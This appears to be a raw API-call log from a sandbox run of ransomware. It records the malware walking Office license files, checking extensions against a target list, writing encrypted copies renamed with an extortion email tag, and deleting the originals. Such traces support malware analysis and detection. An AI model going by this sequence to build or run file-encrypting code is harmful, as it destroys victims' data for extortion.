	[0181.178] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.178] lstrlenW (lpString=".docx") returned 5
	[0181.178] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.178] lstrlenW (lpString=".pdf") returned 4
	[0181.178] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.178] lstrlenW (lpString=".xls") returned 4
	[0181.178] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.178] lstrlenW (lpString=".xlsx") returned 5
	[0181.178] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.178] lstrlenW (lpString=".ppt") returned 4
	[0181.178] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0181.179] lstrlenW (lpString=".zip") returned 4
	[0181.179] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.179] lstrlenW (lpString=".rar") returned 4
	[0181.179] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.179] lstrlenW (lpString=".bz2") returned 4
	[0181.179] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.179] lstrlenW (lpString=".7z") returned 3
	[0181.179] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0181.179] lstrlenW (lpString=".dbf") returned 4
	[0181.179] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0181.179] lstrlenW (lpString=".1cd") returned 4
	[0181.179] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0181.179] lstrlenW (lpString=".jpg") returned 4
	[0181.179] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.179] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0181.179] lstrlenW (lpString="HomeBusinessR_Trial-ul-oob.xrm-ms") returned 33
	[0181.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0181.182] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11621) returned 1
	[0181.182] CloseHandle (hObject=0x344) returned 1
	[0181.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 0x220
	[0181.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0181.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0181.183] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.183] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0181.183] GetLastError () returned 0x0
	[0181.184] ReadFile (in: hFile=0x344, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2d65, lpOverlapped=0x0) returned 1
	[0181.802] WriteFile (in: hFile=0x538, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0182.490] ReadFile (in: hFile=0x344, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.490] WriteFile (in: hFile=0x538, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x116, lpOverlapped=0x0) returned 1
	[0182.490] SetEndOfFile (hFile=0x538) returned 1
	[0182.490] CloseHandle (hObject=0x538) returned 1
	[0182.490] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.490] SetEndOfFile (hFile=0x344) returned 1
	[0182.494] CloseHandle (hObject=0x344) returned 1
	[0182.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0182.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 1
	[0182.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0182.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0182.496] lstrlenW (lpString=".doc") returned 4
	[0182.496] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.496] lstrlenW (lpString=".docx") returned 5
	[0182.496] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.496] lstrlenW (lpString=".pdf") returned 4
	[0182.496] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.496] lstrlenW (lpString=".xls") returned 4
	[0182.496] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.496] lstrlenW (lpString=".xlsx") returned 5
	[0182.496] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.496] lstrlenW (lpString=".ppt") returned 4
	[0182.496] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0182.496] lstrlenW (lpString=".zip") returned 4
	[0182.496] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.496] lstrlenW (lpString=".rar") returned 4
	[0182.496] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.496] lstrlenW (lpString=".bz2") returned 4
	[0182.496] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.497] lstrlenW (lpString=".7z") returned 3
	[0182.497] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0182.497] lstrlenW (lpString=".dbf") returned 4
	[0182.497] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0182.497] lstrlenW (lpString=".1cd") returned 4
	[0182.497] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0182.497] lstrlenW (lpString=".jpg") returned 4
	[0182.497] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0182.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0182.497] lstrlenW (lpString=".doc") returned 4
	[0182.497] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.497] lstrlenW (lpString=".docx") returned 5
	[0182.497] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.497] lstrlenW (lpString=".pdf") returned 4
	[0182.497] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.497] lstrlenW (lpString=".xls") returned 4
	[0182.497] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.497] lstrlenW (lpString=".xlsx") returned 5
	[0182.497] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.497] lstrlenW (lpString=".ppt") returned 4
	[0182.497] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0182.497] lstrlenW (lpString=".zip") returned 4
	[0182.497] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.497] lstrlenW (lpString=".rar") returned 4
	[0182.497] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.497] lstrlenW (lpString=".bz2") returned 4
	[0182.497] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.497] lstrlenW (lpString=".7z") returned 3
	[0182.497] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0182.497] lstrlenW (lpString=".dbf") returned 4
	[0182.498] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0182.498] lstrlenW (lpString=".1cd") returned 4
	[0182.498] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0182.498] lstrlenW (lpString=".jpg") returned 4
	[0182.498] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.498] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0182.498] lstrlenW (lpString="HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 41
	[0182.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0182.499] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11215) returned 1
	[0182.499] CloseHandle (hObject=0x344) returned 1
	[0182.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0182.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0182.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0182.500] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.500] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0182.500] GetLastError () returned 0x0
	[0182.501] ReadFile (in: hFile=0x344, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2bcf, lpOverlapped=0x0) returned 1
	[0182.596] WriteFile (in: hFile=0x538, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2bd0, lpOverlapped=0x0) returned 1
	[0182.598] ReadFile (in: hFile=0x344, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.598] WriteFile (in: hFile=0x538, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x126, lpOverlapped=0x0) returned 1
	[0182.598] SetEndOfFile (hFile=0x538) returned 1
	[0182.598] CloseHandle (hObject=0x538) returned 1
	[0182.598] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.598] SetEndOfFile (hFile=0x344) returned 1
	[0182.612] CloseHandle (hObject=0x344) returned 1
	[0182.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0182.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 1
	[0182.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0182.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0182.619] lstrlenW (lpString=".doc") returned 4
	[0182.619] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.619] lstrlenW (lpString=".docx") returned 5
	[0182.619] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.619] lstrlenW (lpString=".pdf") returned 4
	[0182.619] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.619] lstrlenW (lpString=".xls") returned 4
	[0182.619] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.619] lstrlenW (lpString=".xlsx") returned 5
	[0182.619] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.619] lstrlenW (lpString=".ppt") returned 4
	[0182.619] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0182.619] lstrlenW (lpString=".zip") returned 4
	[0182.619] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.619] lstrlenW (lpString=".rar") returned 4
	[0182.619] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.619] lstrlenW (lpString=".bz2") returned 4
	[0182.619] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.619] lstrlenW (lpString=".7z") returned 3
	[0182.619] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0182.619] lstrlenW (lpString=".dbf") returned 4
	[0182.619] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0182.619] lstrlenW (lpString=".1cd") returned 4
	[0182.619] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0182.620] lstrlenW (lpString=".jpg") returned 4
	[0182.620] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0182.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0182.620] lstrlenW (lpString=".doc") returned 4
	[0182.620] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.620] lstrlenW (lpString=".docx") returned 5
	[0182.620] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.620] lstrlenW (lpString=".pdf") returned 4
	[0182.620] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.620] lstrlenW (lpString=".xls") returned 4
	[0182.620] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.620] lstrlenW (lpString=".xlsx") returned 5
	[0182.620] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.620] lstrlenW (lpString=".ppt") returned 4
	[0182.620] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0182.620] lstrlenW (lpString=".zip") returned 4
	[0182.620] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.620] lstrlenW (lpString=".rar") returned 4
	[0182.620] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.620] lstrlenW (lpString=".bz2") returned 4
	[0182.620] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.620] lstrlenW (lpString=".7z") returned 3
	[0182.620] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0182.620] lstrlenW (lpString=".dbf") returned 4
	[0182.620] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0182.620] lstrlenW (lpString=".1cd") returned 4
	[0182.620] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0182.620] lstrlenW (lpString=".jpg") returned 4
	[0182.620] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.621] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0182.621] lstrlenW (lpString="HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 42
	[0182.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0182.622] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=21737) returned 1
	[0182.622] CloseHandle (hObject=0x344) returned 1
	[0182.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0182.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0182.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0182.622] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.623] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0182.623] GetLastError () returned 0x0
	[0182.623] ReadFile (in: hFile=0x344, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x54e9, lpOverlapped=0x0) returned 1
	[0182.631] WriteFile (in: hFile=0x538, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x54f0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x54f0, lpOverlapped=0x0) returned 1
	[0182.632] ReadFile (in: hFile=0x344, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.633] WriteFile (in: hFile=0x538, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x128, lpOverlapped=0x0) returned 1
	[0182.633] SetEndOfFile (hFile=0x538) returned 1
	[0182.633] CloseHandle (hObject=0x538) returned 1
	[0182.633] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.633] SetEndOfFile (hFile=0x344) returned 1
	[0182.636] CloseHandle (hObject=0x344) returned 1
	[0182.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0182.638] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0182.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0182.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0182.639] lstrlenW (lpString=".doc") returned 4
	[0182.639] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.639] lstrlenW (lpString=".docx") returned 5
	[0182.639] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.639] lstrlenW (lpString=".pdf") returned 4
	[0182.639] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.639] lstrlenW (lpString=".xls") returned 4
	[0182.639] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.639] lstrlenW (lpString=".xlsx") returned 5
	[0182.639] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.639] lstrlenW (lpString=".ppt") returned 4
	[0182.639] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0182.639] lstrlenW (lpString=".zip") returned 4
	[0182.639] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.639] lstrlenW (lpString=".rar") returned 4
